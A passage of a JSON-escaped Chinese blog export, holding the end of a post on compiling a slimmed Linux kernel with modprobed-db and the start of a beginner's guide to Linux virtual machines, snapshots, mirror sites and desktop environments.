src=\"https://legacy.superbart.top/picture/Compile%20Linux%20Kernel%20is%20Useless/Power%20Preformance.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"nconfig长这样\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003enconfig长这样\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003col start=\"4\"\u003e\n\u003cli\u003e使用 \u003ccode\u003emake -j$n\u003c/code\u003e 命令编译,这里 \u003ccode\u003e$n\u003c/code\u003e 代表你电脑/虚拟机的核心数。\u003c/li\u003e\n\u003cli\u003e使用以下两个命令来安装内核:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ sudo make module_install \u003cspan class=\"c1\"\u003e# 安装内核模块\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ sudo make install \u003cspan class=\"c1\"\u003e# 安装内核本身\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col start=\"6\"\u003e\n\u003cli\u003e重启到新内核,如果没有的话,查看系统引导器设置。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"使用-modprobed-db-精简内核\"\u003e使用 modprobed-db 精简内核\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e获取 modprobed-db 软件。Arch Linux 用户可以使用 AUR 直接安装 \u003ccode\u003emodprobed-db\u003c/code\u003e 软件包。如果不是的话,根据该软件 Github 所介绍:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ git clone https://github.com/graysky2/modprobed-db\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ \u003cspan class=\"nb\"\u003ecd\u003c/span\u003e modprobed-db\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ make\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ sudo make install\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col start=\"2\"\u003e\n\u003cli\u003e获取目前你电脑正在挂载的模块:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ modprobed-db \u003cspan class=\"c1\"\u003e# 初始化软件\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ modprobed-db store \u003cspan class=\"c1\"\u003e# 获取目前运行模块并保存在一个数据库中\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ modprobed-db list \u003cspan class=\"c1\"\u003e# 列出存在数据库里面,电脑运行过的的内核模块记录\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ modprobed-db debug \u003cspan class=\"c1\"\u003e# 列出目前运行系统模块和数据库记录的异同\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col start=\"3\"\u003e\n\u003cli\u003e在编译内核的时候,配置内核参数部分,执行这个命令来关掉不需要的模块编译开关。然后编译安装即可。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ make LSMOD=$HOME/.config/modprobed.db localmodconfig\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"使用提示\"\u003e使用提示\u003c/h3\u003e\n\u003cp\u003e如果你是实机运行的话,务必把所有你要使用的设备都使用上。这里我翻译一下\u003ca class=\"link\" href=\"https://wiki.archlinux.org/title/Modprobed-db#Populating_the_database\" target=\"_blank\" rel=\"noopener\"\n \u003e Arch Wiki 的原文\u003c/a\u003e:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e挂载上所有需要用到的文件系统\u003c/li\u003e\n\u003cli\u003e接上所有需要用到的可移动媒体,比如U盘,光驱等\u003c/li\u003e\n\u003cli\u003e以上选项包括挂载 ISO 文件,这个涉及到 loop 模块和 isofs 模块\u003c/li\u003e\n\u003cli\u003e使用电脑上的所有设备,例如网卡,输入设备,电脑摄像头,移动设备等\u003c/li\u003e\n\u003cli\u003e使用电脑上的所有应用程序,有些程序是需要特定内核模块来运行的,比如虚拟机\u003c/li\u003e\n\u003cli\u003e在不同版本/特制的内核上运行 modprobed-db,也许会录入一些其他内核没有的模块\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e我当时没有插上我的光驱,就运行了这个,结果新内核没法读我的光驱:-P\u003c/p\u003e\n\u003ch2 id=\"我到底配置了啥给大家看看我改过的内核配置\"\u003e我到底配置了啥~给大家看看我改过的内核配置\u003c/h2\u003e\n\u003cp\u003e我上面说过,使用 modprobed-db 的前提是对内核配置有一定了解,至少需要看到选项的时候,脑瓜不疼。(如果你是应付操作系统实验,我看\u003ca class=\"link\" href=\"https://github.com/LevickCG/Happy-SE-in-XDU/tree/master/OS\" target=\"_blank\" rel=\"noopener\"\n \u003e我们学校的操作系统资料\u003c/a\u003e和\u003ca class=\"link\" href=\"https://moefactory.com/3041.moe\" target=\"_blank\" rel=\"noopener\"\n \u003e小梦哥哥的实验总结\u003c/a\u003e的步骤,我觉得你要是在虚拟机下直接搞,应该没有问题)\u003cbr\u003e\n所以,我来给大家看一下我的内核配置吧,给大家看看我改了什么。这里我用 \u003ccode\u003emake nconfig\u003c/code\u003e 配置。\u003cbr\u003e\n第一个选项是总体选项,是包括了内核压缩,特定版本号之类的信息。请看 xmgg 的吧。\u003cbr\u003e\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/jwCd34vDs9EqmiV.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/jwCd34vDs9EqmiV.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"默认界面\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e默认界面\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\n这是默认界面,配置程序给了我们一些选项。下面的功能键中,F2可以查看配置选项的详细信息,F9可以搜索配置选项。\u003cbr\u003e\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/MsVvJqoDXEr18RQ.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/MsVvJqoDXEr18RQ.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"处理器类型和特性\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e处理器类型和特性\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\n这个地方是配置处理器相关信息的。我这里把很多因特尔处理器的独家特性给删掉了,然后处理器优化强制设置为Zen 2。其他方面的有任务调度之类,我没有动,因为不懂。\u003cbr\u003e\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/MvdYJQ4K5ANZc3D.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/MvdYJQ4K5ANZc3D.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"插入电源管理特性\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e插入电源管理特性\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\n这个地方配置电源管理,我开启了休眠和睡眠,然后将CPU频率调整设置为\u0026quot;性能\u0026quot;。\u003cbr\u003e\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/gVZfTyXWjeBE1s4.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/gVZfTyXWjeBE1s4.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"文件系统选项\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e文件系统选项\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\n这个地方配置文件系统支持,是精简内核的重中之重,也是一个坑。如果精简过头,可能插个U盘读不出来。尤其注意CD文件系统和DOS文件系统选项。\u003cbr\u003e\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/269QYoNTSOxhRad.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/269QYoNTSOxhRad.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"驱动配置\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e驱动配置\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\n这个地方配置驱动选项,基本上编译内核,大部分时间都是在编译驱动。所以,这个地方我们可以大开杀戒。不过千万不要要把你需要用到的驱动给去了。\u003cbr\u003e\n其他方面,诸如支持32位可执行程序,内核安全算法,调试选项等,我就不说啦。\u003c/p\u003e\n\u003ch2 id=\"结尾\"\u003e结尾\u003c/h2\u003e\n\u003cp\u003e虽然自己编译内核,没有使游戏性能有很大提升😶\u003cbr\u003e\n但是我由此得到了提升内核编译的一个途径,这要将来节省时间\u003cdel\u003e卷过别人\u003c/del\u003e不就很方便了吗🥰\u003cbr\u003e\n实际上我还给内核打上了\u003ca class=\"link\" href=\"https://github.com/zhmars/cjktty-patches\" target=\"_blank\" rel=\"noopener\"\n \u003e中文补丁\u003c/a\u003e,不过网上很多教程,我就不在这说了。给大家个\u003ca class=\"link\" href=\"https://zhuanlan.zhihu.com/p/375460344\" target=\"_blank\" rel=\"noopener\"\n \u003e链接\u003c/a\u003e看看吧。没记错命令是 \u003ccode\u003epatch -Np1 \u0026lt; 补丁文件\u003c/code\u003e 。\u003cbr\u003e\n我还使用了 Arch Linux 的包管理工具,让整个过程更简单。具体看\u003ca class=\"link\" href=\"https://wiki.archlinux.org/title/Kernel/Arch_Build_System\" target=\"_blank\" rel=\"noopener\"\n \u003e这个\u003c/a\u003e。\u003c/p\u003e\n\u003ch2 id=\"推荐阅读\"\u003e推荐阅读\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://wiki.archlinux.org/title/Kernel/Traditional_compilation\" target=\"_blank\" rel=\"noopener\"\n \u003eArch Wiki提供的编译内核指南(多系统适用哦)\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://moefactory.com/3041.moe\" target=\"_blank\" rel=\"noopener\"\n \u003e小梦哥哥教大家操作系统实验啦\u003c/a\u003e\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/complie-linux-kernel-is-useless.html"},{"title":"快速逃离Linux指南","time":"2022-01-25T00:00:00Z","content":"\u003cimg src=\"https://s2.loli.net/2022/08/01/2qIsgFjYrfldwuh.webp\" alt=\"Featured image of post 快速逃离Linux指南\" /\u003e\u003cp\u003e看完了,搞定完操作系统实验,快跑!\u003cbr\u003e\n注意:我不可能把在互联网上随便找到的教程再写一遍,我觉得很啰嗦,所以请各位多多使用互联网。\u003cbr\u003e\n如果你是大佬,好好沉下心来帮帮小白,行吗。\u003c/p\u003e\n\u003ch2 id=\"目录\"\u003e目录\u003c/h2\u003e\n\u003col\u003e\n \u003cli\u003e虚拟机的相关\u003c/li\u003e\n \u003cli\u003e镜像使用\u003c/li\u003e\n \u003cli\u003e好奇怪的桌面\u003c/li\u003e\n \u003cli\u003e文件相关\u003c/li\u003e\n \u003cli\u003e命令行的基本使(chao)用(xi)\u003c/li\u003e\n \u003cli\u003e如何把Linux引进家\u003c/li\u003e\n \u003cli\u003eLinux系统安全教育\u003c/li\u003e\n \u003cli\u003e还有没说到的,上网查资料/优雅地问问题\u003c/li\u003e\n \u003cli\u003e为什么我不推荐大家使用Linux\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"虚拟机相关\"\u003e虚拟机相关\u003c/h2\u003e\n\u003cp\u003e相信各位是被老师的某些需求,才知道有个操作系统叫Linux,才想安装的吧。而各位肯定不想在自己唯一的实机上安装,估计你们都连系统都没装过,会碰到一堆问题:-P\n所以虚拟机是一个更好的选择,它是模拟了一个类似于你电脑的环境。你在里面怎么折腾,只要不出格,基本上不会对你电脑里的其他东西有影响。\u003cbr\u003e\n这里我不会教大家如何设置一个虚拟机,我给大家一些便于使用的指南。\u003c/p\u003e\n\u003ch3 id=\"增强功能\"\u003e增强功能\u003c/h3\u003e\n\u003cp\u003e一般安装完系统,你需要在虚拟机里的系统安装虚拟机的增强功能。安装完增强功能有啥好处呢?\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e窗口缩放自动化,你没有必要盯着640x480的上古分辨率了。\u003c/li\u003e\n\u003cli\u003e相当于给虚拟机里的系统打上了驱动。最直观的,画面更流畅了。\u003c/li\u003e\n\u003cli\u003e虚拟机和宿主机可以共享一个剪切板,抄点命令代码更方便了。\u003c/li\u003e\n\u003cli\u003e虚拟机和宿主机可以互相分享文件了。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e这里,给VirtualBox用户来个建议,一定要装VirtualBox软件的增强模块!上网找一下Oracle Extension Pack了解一下吧。\u003cbr\u003e\n好了,如何安装捏?我知道网上可以找到一大堆的安装教程,但我突然间想多写一些,想让大家少走不必要的弯路。\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e虚拟机软件\u003c/th\u003e\n\u003cth\u003e虚拟机里的系统\u003c/th\u003e\n\u003cth\u003e安装方式\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\" rowspan=\"2\"\u003eVMWare Workstation\u003c/td\u003e\n\u003ctd align=\"center\"\u003eWindows\u003c/td\u003e\n\u003ctd align=\"center\"\u003e从VM选项找到”安装VMWare Tools”选项,然后安装\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eLinux\u003c/td\u003e\n\u003ctd align=\"center\"\u003e从你系统的软件库中安装open-vm-tools\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\" rowspan=\"3\"\u003eOracle VirtualBox\u003c/td\u003e\n\u003ctd align=\"center\"\u003eWindows\u003c/td\u003e\n\u003ctd align=\"center\"\u003e下载VBoxGuestAddtions.iso,虚拟机挂载安装\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eRed Hat系Linux发行版\u003c/td\u003e\n\u003ctd align=\"center\"\u003e同Windows安装方式\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003e其他的Linux发行版\u003c/td\u003e\n\u003ctd align=\"center\"\u003e从你系统的软件库中安装virtualbox-guest-utils\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e顺便你还可以知道虚拟镜像挂载的知识呢。\u003c/p\u003e\n\u003ch3 id=\"硬件虚拟化\"\u003e硬件虚拟化\u003c/h3\u003e\n\u003cp\u003e虚拟化毕竟是模拟了一个电脑环境,这就好比某些双面人一样,心累啊。不过电脑没心没肺,没有道德真空,这不挺好的吗:-)\u003cbr\u003e\n话说现在的CPU,都支持辅助虚拟化技术。这玩意简单来说,可以让虚拟机直接调用CPU的某些指令,让电脑更加轻松地进行虚拟化。要是没有这个,就真的只能靠软件模拟运行了,效率能把你逼疯。就像某些双面人一样,表面装好人,不过要没人陪衬,迟早装不下去的。\u003cbr\u003e\n这个特性,Intel的叫VT-x,AMD的叫AMD-V。相信我,没有开这个玩意,大概率你的虚拟机会很卡,甚至有你的虚拟机可能都无法启动:-P\u003cbr\u003e\n所以在这里,我要给大家的建议是:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e查看自己的BIOS设置,看看有没有开虚拟化设置(记住这个单词:Virtualization)\u003c/li\u003e\n\u003cli\u003e看看你的虚拟机CPU设置,有没有开虚拟化设置(一般选项里都有VM-T/AMD-V字符串)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"共享文件夹\"\u003e共享文件夹\u003c/h3\u003e\n\u003cp\u003e实际上前面我提到的增强工具,有一个文件互相拖拽功能,不过个人认为,超级难用。一般来说,虚拟机需要访问宿主机文件的话,我更倾向于使用共享文件夹功能。这个功能本质上,就是把宿主机的一个文件夹通过某种虚拟机内部的网络共享方式,让虚拟机访问。\u003cbr\u003e\n至于怎么用,给你们一些指南,具体怎么做,请询问可爱的互联网姐姐:-)\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/3OWGPruiYC1pMLn.png\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/3OWGPruiYC1pMLn.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"这个是VMWare虚拟机下,配置共享文件的方式\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e这个是VMWare虚拟机下,配置共享文件的方式\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/rH4wYkXjif5StqT.webp\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/rH4wYkXjif5StqT.webp\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"这个是VirtualBox虚拟机下,配置共享文件的方式\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e这个是VirtualBox虚拟机下,配置共享文件的方式\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e设置的时候,尽量勾选上自动挂载/开机挂载,这样能省下很多的事情。\u003cbr\u003e\n还有一件事,读写权限也要搞明白,我前面说不出格就没事,是因为虚拟机和宿主机本来是隔离的,现在有了一个口子互相通信了,万一你在虚拟机搞了危险操作,极有可能你那些珍贵的东西就要遭殃了。(实际上共享剪贴板也有风险,但比这个小多了)\u003c/p\u003e\n\u003ch3 id=\"系统快照功能\"\u003e系统快照功能\u003c/h3\u003e\n\u003cp\u003e我先给大家讲两个案例,一个是电脑行装系统,一个是Windows的系统还原。\u003cbr\u003e\n电脑行装系统,喜欢用Ghost。他们提前预制出一个系统环境,然后用Ghost软件保存下来。组装完电脑后,他们把这个模板“扣进”新机器,系统就装完了。\u003cbr\u003e\nWindows有个功能,叫系统还原。当你的电脑出现问题的时候,还原一下就好了。\u003cbr\u003e\n系统快照在某种意义上,就是上面那俩的集合。它的功能,就是把虚拟机的状态(包括磁盘状态,硬盘状态)保存下来,类似于一个模板环境。然后你在虚拟机里面操作,发现系统坏了,直接拿之前的快照还原一下就行了。这比Windows的系统还原还好用呢,真的是一键还原。\u003cbr\u003e\n具体怎么用,互联网姐姐比我更清楚呢,我给你们俩地图吧:\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/tPMENW9Ra43L8Iz.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/tPMENW9Ra43L8Iz.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"这个是VMWare虚拟机的系统快照功能\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e这个是VMWare虚拟机的系统快照功能\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/1nBe7aqPg3CmYMD.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/1nBe7aqPg3CmYMD.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"这个是VirtualBox虚拟机的系统快照功能\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e这个是VirtualBox虚拟机的系统快照功能\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e既然我们的目的是为了一个干净的环境,方便还原。我建议各位存两个快照:一个在系统安装完成之后,一个是在你干活之前。\u003cbr\u003e\n对了,快照本身也是需要更新的。因为虚拟机里面的系统是需要更新的,所以干活之前的快照一定要更新。至于最干净的,系统完成之后的镜像,一般是为了在虚拟机彻底没法用的时候,搞的救命稻草。\u003cbr\u003e\n还有一件事,快照回退的时候,在快照生成时间之后的所有东西,设置都将消失!所以你有啥必须要保存的东西,看看上面的共享文件夹功能。\u003c/p\u003e\n\u003ch2 id=\"镜像使用\"\u003e镜像使用\u003c/h2\u003e\n\u003cp\u003e相信大家遇到过这样的情况:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e需要下载一个软件,兴致冲冲跑到官网下载,结果发现下载速度好慢啊:-(\u003c/li\u003e\n\u003cli\u003e你需要用pip搞点数学计算,结果下载的时间够你出门晒太阳了\u003c/li\u003e\n\u003cli\u003e你想去搞点其他的资料,然而就是上不去\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e没关系,各大高校和互联网公司已经帮你下好了,你从他们那里取就行了。\u003c/p\u003e\n\u003ch3 id=\"先告知你\"\u003e先告知你\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e清华大学镜像站:https://mirrors.tuna.tsinghua.edu.cn\u003c/li\u003e\n\u003cli\u003e中科大镜像站:https://mirrors.ustc.edu.cn\u003c/li\u003e\n\u003cli\u003e如果你是我校友的话(仅校内服务):https://linux.xidian.edu.cn/mirrors\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e镜像站一般会给你很多的帮助指南,一定要充分利用。镜像站的用途还是很多的,以下只是一些示例。\u003c/p\u003e\n\u003ch3 id=\"加速linux系统更新\"\u003e加速Linux系统更新\u003c/h3\u003e\n\u003cp\u003e鉴于这是Linux指南,不提Linux有点不太合适。\u003cbr\u003e\nLinux系统的优点之一,就是软件更新比Windows舒服。但默认更新一般是很慢的,因为要走国外的服务器。所以说,更改系统的软件源地址就很有必要了。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eUbuntu简便方法:设置里面有个选项,叫”软件与更新”,从那里修改。\u003c/li\u003e\n\u003cli\u003eFedora/CentOS简便方法:一般需要看镜像源的文档,开命令行复制粘贴命令。\u003c/li\u003e\n\u003cli\u003eArch Linux/Manjaro:编辑/etc/pacman.d/mirrorlist文件。\u003c/li\u003e\n\u003cli\u003eDebian/Ubuntu:编辑/etc/apt/sources.list文件。\u003c/li\u003e\n\u003cli\u003eRed Hat系列:编辑/etc/yum.repos.d下面的一堆repo文件。本人超级不建议编辑,能烦死。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e对了,既然说到了软件源,这里预告一下,第五章讲命令行的时候我会细说这个的。\u003c/p\u003e\n\u003ch3 id=\"加速github的clone\"\u003e加速github的clone\u003c/h3\u003e\n\u003cp\u003e也不知为何,我们要从github下面拉下一个文件,总是好慢啊。幸亏现在有很多的镜像站来帮助我们快速下载。\u003cbr\u003e\n这个我就直接扔俩地址,以及一个命令:\u003cbr\u003e\n镜像1:https://hub.fastgit.xyz\u003cbr\u003e\n镜像2:https://github.com.cnpmjs.org\u003cbr\u003e\n命令:这个命令能让git访问github的时候,访问镜像。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003egit config --global url.\u003cspan class=\"s2\"\u003e\u0026#34;镜像网址\u0026#34;\u003c/span\u003e.insteadOf https://github.com\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"加速下载软件\"\u003e加速下载软件\u003c/h3\u003e\n\u003cp\u003e现在要下载啥软件,都喜欢找最近的镜像地点,加速你的下载。可就怕这玩意不好使用,你别说,我下载Eclipse IDE的时候就遇到过。\u003cbr\u003e\n当然,幸运的话,镜像源都会给你备份好了。自己探索吧,我觉得没必要多说了233\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/rELAsP7vtYbHMCZ.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/rELAsP7vtYbHMCZ.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"页面上提供了Java(OpenJDK),AOSP(安卓系统源代码)的镜像 下面还有VLC,OBS,Wireshark,FDroid等软件的镜像\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e页面上提供了Java(OpenJDK),AOSP(安卓系统源代码)的镜像 下面还有VLC,OBS,Wireshark,FDroid等软件的镜像\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003ch2 id=\"好奇怪的桌面\"\u003e好奇怪的桌面\u003c/h2\u003e\n\u003cp\u003e如果安装完了系统,进去发现系统有点不一样,但感觉上还能用,那你们真幸运:-)我六年前开始用Linux的时候,还不是这样呢。\u003cbr\u003e\n但如果你发现,电脑操作不太一样了,或者说,你的Linux和他的不一样。那么,你就要先了解以下东西了。\u003c/p\u003e\n\u003ch3 id=\"桌面居然是一个独立的软件\"\u003e桌面居然是一个独立的软件?\u003c/h3\u003e\n\u003cp\u003e这点和Windows很不一样,Windows的图形化功能是集成到内核的,Linux不是这样。这也解释了为啥Windows图形化一崩溃就蓝屏了。\u003cbr\u003e\n具体来说,Linux本身只是一个内核,在其上运行着很多程序,图形化界面(桌面环境)只是其中一个。\u003cbr\u003e\n要细说的话,我们得扯一下历史了(欢迎大家进入工程概论睡觉模式):\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/c9p74VqHoIDUngb.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/c9p74VqHoIDUngb.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"SuperBart超级抽象画工时间2333\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003eSuperBart超级抽象画工时间2333\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e上世纪七八十年代的电脑,都是需要用终端机来使用的。终端机连接到远端的主机,并进行操作。现在有些东西,还有这个的影子呢,比如你远程你买的云服务器。插一句,C语言的stdio头文件,全称叫标准输入输出(STanDard Input Output),也是对应了这个结构。输入在当时,就是终端机的键盘,输出在当时,就是终端机的屏幕。当然现在,分别对应的是你的键盘和屏幕了。\u003cbr\u003e\nLinux的图形化程序叫Xorg,也是这样的结构。这里给张图片。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/uZhnsFCxlt63EOe.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/uZhnsFCxlt63EOe.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"根据维基百科X协议页面画的,不一定准确\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e根据维基百科X协议页面画的,不一定准确\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e你看,是不是有点终端机和主机的感觉呢?前面三个负责处理一些内部事情,比如接受进程状态,检测输入之类。然后XORG服务器将绘制信号传给XORG客户端,然后经由窗口管理器之类的东西,把窗口送到你的屏幕上。他的过程比Windows那样的直接绘制要复杂一些,但是十分灵活。\u003cbr\u003e\n在Linux中,有很多的桌面环境。建议大家看一下自己系统使用的桌面环境,以后出现问题的话,会很有用。下面介绍一些著名的桌面环境,以及我认为的特点:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth align=\"center\"\u003e名称\u003c/th\u003e\n\u003cth align=\"center\"\u003e官网\u003c/th\u003e\n\u003cth align=\"left\"\u003e优点\u003c/th\u003e\n\u003cth align=\"left\"\u003e缺点\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eKDE\u003c/td\u003e\n\u003ctd align=\"center\"\u003ekde.org\u003c/td\u003e\n\u003ctd 